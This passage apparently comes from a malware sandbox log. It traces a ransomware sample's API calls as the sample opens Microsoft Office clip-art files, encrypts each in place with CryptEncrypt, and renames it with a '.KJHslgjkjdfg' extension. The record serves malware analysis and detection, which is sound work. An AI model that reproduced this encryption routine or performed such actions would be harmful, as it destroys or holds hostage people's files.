ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1 [0195.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.794] GetProcessHeap () returned 0x990000 [0195.794] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.794] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.794] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.797] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.797] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.797] GetProcessHeap () returned 0x990000 [0195.797] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.797] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.797] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.797] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.797] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.797] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.797] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.797] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.798] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.798] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.798] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2584, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2584, lpOverlapped=0x0) returned 1 [0195.799] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2590, dwBufLen=0x2590 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2590) returned 1 [0195.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.799] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2590, lpOverlapped=0x0) returned 1 [0195.799] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.799] SetEndOfFile (hFile=0x130) returned 1 [0195.802] GetProcessHeap () returned 0x990000 [0195.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.802] GetProcessHeap () returned 0x990000 [0195.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.kjhslgjkjdfg")) returned 1 [0195.804] CloseHandle (hObject=0x130) returned 1 [0195.804] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1 [0195.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.805] GetProcessHeap () returned 0x990000 [0195.805] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.805] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.805] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.807] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.807] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.808] GetProcessHeap () returned 0x990000 [0195.808] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.808] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.808] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.808] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.808] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.808] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.808] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.808] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.808] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.808] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.808] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6688, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6688, lpOverlapped=0x0) returned 1 [0195.810] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6690, dwBufLen=0x6690 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6690) returned 1 [0195.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.810] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6690, lpOverlapped=0x0) returned 1 [0195.810] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.811] SetEndOfFile (hFile=0x130) returned 1 [0195.813] GetProcessHeap () returned 0x990000 [0195.814] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.814] GetProcessHeap () returned 0x990000 [0195.814] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.kjhslgjkjdfg")) returned 1 [0195.815] CloseHandle (hObject=0x130) returned 1 [0195.815] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1 [0195.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.816] GetProcessHeap () returned 0x990000 [0195.817] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.817] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.817] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.819] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.819] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.819] GetProcessHeap () returned 0x990000 [0195.819] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.819] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.819] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.819] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.820] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.820] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.820] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.820] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.820] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x785c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x785c, lpOverlapped=0x0) returned 1 [0195.821] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7860, dwBufLen=0x7860 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7860) returned 1 [0195.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.822] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7860, lpOverlapped=0x0) returned 1 [0195.822] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.822] SetEndOfFile (hFile=0x130) returned 1 [0195.825] GetProcessHeap () returned 0x990000 [0195.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.825] GetProcessHeap () returned 0x990000 [0195.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.kjhslgjkjdfg")) returned 1 [0195.827] CloseHandle (hObject=0x130) returned 1 [0195.827] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1 [0195.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.828] GetProcessHeap () returned 0x990000 [0195.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.828] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.828] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.831] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.831] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.831] GetProcessHeap () returned 0x990000 [0195.831] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.831] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.831] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.831] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.831] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.831] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.831] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.831] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.831] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.832] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.832] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8774, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8774, lpOverlapped=0x0) returned 1 [0195.833] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8780, dwBufLen=0x8780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8780) returned 1 [0195.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.833] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8780, lpOverlapped=0x0) returned 1 [0195.834] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.834] SetEndOfFile (hFile=0x130) returned 1 [0195.837] GetProcessHeap () returned 0x990000 [0195.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.837] GetProcessHeap () returned 0x990000 [0195.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.kjhslgjkjdfg")) returned 1 [0195.838] CloseHandle (hObject=0x130) returned 1 [0195.838] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1 [0195.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.839] GetProcessHeap () returned 0x990000 [0195.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.839] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.839] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.842] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.842] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.842] GetProcessHeap () returned 0x990000 [0195.842] RtlAllocateHeap 